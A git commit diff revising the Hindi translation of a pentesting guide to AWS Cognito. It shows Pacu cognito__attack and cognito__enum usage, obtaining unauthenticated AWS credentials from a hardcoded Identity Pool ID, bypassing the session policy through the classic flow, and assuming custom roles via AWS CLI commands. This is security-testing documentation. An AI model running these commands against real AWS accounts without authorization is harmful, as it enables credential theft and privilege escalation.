Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito-

This commit is contained in:
Translator
2025-08-18 14:11:25 +00:00
parent 313828eea7
commit 8e1181954a

View File

@@ -35,31 +35,31 @@ print(response)
```
### Cognito Sync
Identity Pool सत्र उत्पन्न करने के लिए, आपको पहले **एक Identity ID उत्पन्न करने की आवश्यकता है**। यह Identity ID **उस उपयोगकर्ता के सत्र की पहचान है**। इन पहचानों में 20 तक डेटा सेट हो सकते हैं जो 1MB तक की कुंजी-मूल्य जोड़ को संग्रहीत कर सकते हैं।
Identity Pool सत्र उत्पन्न करने के लिए, आपको पहले **एक पहचान ID उत्पन्न करने की आवश्यकता है**। यह पहचान ID **उस उपयोगकर्ता के सत्र की पहचान है**। इन पहचानों में 20 तक डेटा सेट हो सकते हैं जो 1MB तक की कुंजी-मूल्य जोड़ों को संग्रहीत कर सकते हैं।
यह **एक उपयोगकर्ता की जानकारी रखने के लिए उपयोगी है** (जो हमेशा उसी Identity ID का उपयोग करेगा)।
यह **एक उपयोगकर्ता की जानकारी रखने के लिए उपयोगी है** (जो हमेशा उसी पहचान ID का उपयोग करेगा)।
इसके अलावा, सेवा **cognito-sync** वह सेवा है जो **इस जानकारी का प्रबंधन और समन्वय करने की अनुमति देती है** (डेटा सेट में, धाराओं में जानकारी भेजना और SNSs संदेश...).
इसके अलावा, सेवा **cognito-sync** वह सेवा है जो **इस जानकारी का प्रबंधन और समन्वय करने की अनुमति देती है** (डेटा सेट में, धाराओं में जानकारी भेजना और SNS संदेश...).
### Tools for pentesting
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताओं का उपयोग जो पहुच नियंत्रण के लिए हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, id टोकन में ग्रहणीय भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है।
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, ID टोकन में ग्रहणीय भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है।
मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) क भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें।
मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) क भाग 2 देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें।
#### Usage
उपयोगकर्ता निर्माण और दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ सभी प्रिवेस्क वेक्टरों क प्रयास के लिए नमूना cognito\_\_attack उपयोग:
Sample cognito\_\_attack उपयोग एक दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ उपयोगकर्ता निर्माण और सभी प्रिवेस्क वेक्टरों क प्रयास करने के लिए:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
सैंपल cognito\_\_enum का उपयोग सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ताओं आदि को इकट्ठा करने के लिए करें, जो वर्तमान AWS खाते में दृश्य हैं:
सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि को इकट्ठा करने के लिए:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें अनचाही खाता निर्माण और पहचान पूल वृद्धि शामिल है।
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें अवांछित खाता निर्माण और पहचान पूल वृद्धि शामिल है।
#### Installation
```bash
@@ -78,7 +78,7 @@ For more information check https://github.com/padok-team/cognito-scanner
एक हमलावर को **AWS क्रेडेंशियल्स** प्राप्त करने के लिए एक Cognito ऐप में बिना प्रमाणीकरण वाले उपयोगकर्ता के रूप में केवल **Identity Pool ID** जानने की आवश्यकता होती है, और यह **ID को वेब/मोबाइल** **ऐप्लिकेशन** में हार्डकोड किया जाना चाहिए ताकि इसका उपयोग किया जा सके। एक ID इस तरह दिखती है: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (यह ब्रूटफोर्स करने योग्य नहीं है)।
> [!TIP]
> **IAM Cognito बिना प्रमाणीकरण वाली भूमिका जो बनाई गई है** डिफ़ॉल्ट रूप से `Cognito_<Identity Pool name>Unauth_Role` कहात है।
> **IAM Cognito बिना प्रमाणीकरण वाली भूमिका जो बनाई गई है उसे** डिफ़ॉल्ट रूप से `Cognito_<Identity Pool name>Unauth_Role` कहा जात है।
यदि आप एक हार्डकोडेड Identity Pools ID पाते हैं और यह बिना प्रमाणीकरण वाले उपयोगकर्ताओं की अनुमति देता है, तो आप AWS क्रेडेंशियल्स प्राप्त कर सकते हैं:
```python
@@ -118,7 +118,7 @@ aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --
पिछले अनुभाग ने **डिफ़ॉल्ट संवर्धित प्रमाणीकरण प्रवाह** का पालन किया। यह प्रवाह IAM भूमिका सत्र के लिए एक **प्रतिबंधात्मक** [**सत्र नीति**](../../aws-basic-information/index.html#session-policies) सेट करता है। यह नीति केवल सत्र को [**इस सूची से सेवाओं का उपयोग करने**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) की अनुमति देगी (भले ही भूमिका को अन्य सेवाओं तक पहुंच हो)।
हालांकि, इसे बायपास करने का एक तरीका है, यदि **पहचान पूल में "बेसिक (क्लासिक) फ्लो" सक्षम है**, तो उपयोगकर्ता उस प्रवाह का उपयोग करके एक सत्र प्राप्त कर सकेगा जिसमें **वह प्रतिबंधात्मक सत्र नीति नहीं होगी**
हालांकि, इसे बायपास करने का एक तरीका है, यदि **पहचान पूल में "बेसिक (क्लासिक) प्रवाह" सक्षम है**, तो उपयोगकर्ता उस प्रवाह का उपयोग करके एक सत्र प्राप्त कर सकेगा जिसमें **वह प्रतिबंधात्मक सत्र नीति नहीं होगी**
```bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
@@ -142,34 +142,48 @@ IAM क्रेडेंशियल्स का एक सेट होने
> [!NOTE]
> याद रखें कि **प्रमाणित उपयोगकर्ताओं** को शायद **विभिन्न अनुमतियाँ** दी जाएंगी, इसलिए यदि आप **ऐप के अंदर साइन अप कर सकते हैं**, तो ऐसा करने की कोशिश करें और नए क्रेडेंशियल्स प्राप्त करें।
**प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल** में भी **भूमिकाएँ** उपलब्ध हो सकती हैं।
**प्रमाणित उपयोगकर्ताओं के लिए** **भूमिकाएँ** भी उपलब्ध हो सकती हैं जो **Identity Pool** तक पहुँच रही हैं।
इसके लिए आपको **पहचान प्रदाता** तक पहुँच की आवश्यकता हो सकती है। यदि वह एक **Cognito User Pool** है, तो शायद आप डिफ़ॉल्ट व्यवहार का दुरुपयोग कर सकते हैं और **खुद एक नया उपयोगकर्ता बना सकते हैं**
> [!TIP]
> **IAM Cognito प्रमाणित भूमिका जो बनाई गई है** उसे डिफ़ॉल्ट रूप से `Cognito_<Identity Pool name>Auth_Role` कहा जाता है।
वैसे भी, **निम्नलिखित उदाहरण** यह अपेक्षाकृत करता है कि आपने पहले ही **Cognito User Pool** में लॉग इन किया है जिसका उपयोग पहचान पूल तक पहुँचने के लिए किया गया है (यह न भूलें कि अन्य प्रकार के पहचान प्रदाताओं को भी कॉन्फ़िगर किया जा सकत है)।
वैसे भी, **निम्नलिखित उदाहरण** यह अपेक्षाकृत करता है कि आपने पहले ही **Cognito User Pool** के अंदर लॉग इन किया है जिसका उपयोग Identity Pool तक पहुँचने के लिए किया गया है (यह न भूलें कि अन्य प्रकार के पहचान प्रदाता भी कॉन्फ़िगर कि जा सकत है)।
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
<pre class="language-bash"><code class="lang-bash">
# Updated format
aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
# पिछले कमांड प्रतिक्रिया से identity_id प्राप्त करें
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
# IdToken में आप उन भूमिकाओं को पा सकते हैं जिनका उपयोगकर्ता को User Pool Groups के कारण एक्सेस है
# विशिष्ट भूमिका के लिए क्रेडेंशियल्स प्राप्त करने के लिए --custom-role-arn का उपयोग करें
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
<strong> --custom-role-arn <role_arn> \
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
--custom-role-arn <role_arn> \
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
</code></pre>
> **Deprecated format** — ये वर्तमान AWS CLI के साथ काम नहीं कर सकते:
<pre class="language-bash"><code class="lang-bash">
aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--custom-role-arn <role_arn> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
</code></pre>
> [!WARNING]
> यह संभव है कि **पहचान प्रदाता के आधार पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जाएं** जिस पर उपयोगकर्ता लॉग इन कर रहा है या यहां तक कि **उपयोगकर्ता** (क्लेम का उपयोग करके) के आधार पर। इसलिए, यदि आपके पास एक ही या विभिन्न प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुँच है, तो सभी के IAM भूमिकाओं तक पहुँचने के लिए लॉग इन करना **लायक हो सकता है**।
> यह संभव है कि **पहचान प्रदाता के आधार पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जाएं** जिस पर उपयोगकर्ता लॉग इन कर रहा है या यहां तक कि **उपयोगकर्ता** (क्लेम का उपयोग करके) के आधार पर। इसलिए, यदि आपके पास एक ही या विभिन्न प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुँच है, तो **लॉग इन करना और उनके सभी IAM भूमिकाओं तक पहुँच प्राप्त करना फायदेमंद हो सकता है**।
{{#include ../../../../banners/hacktricks-training.md}}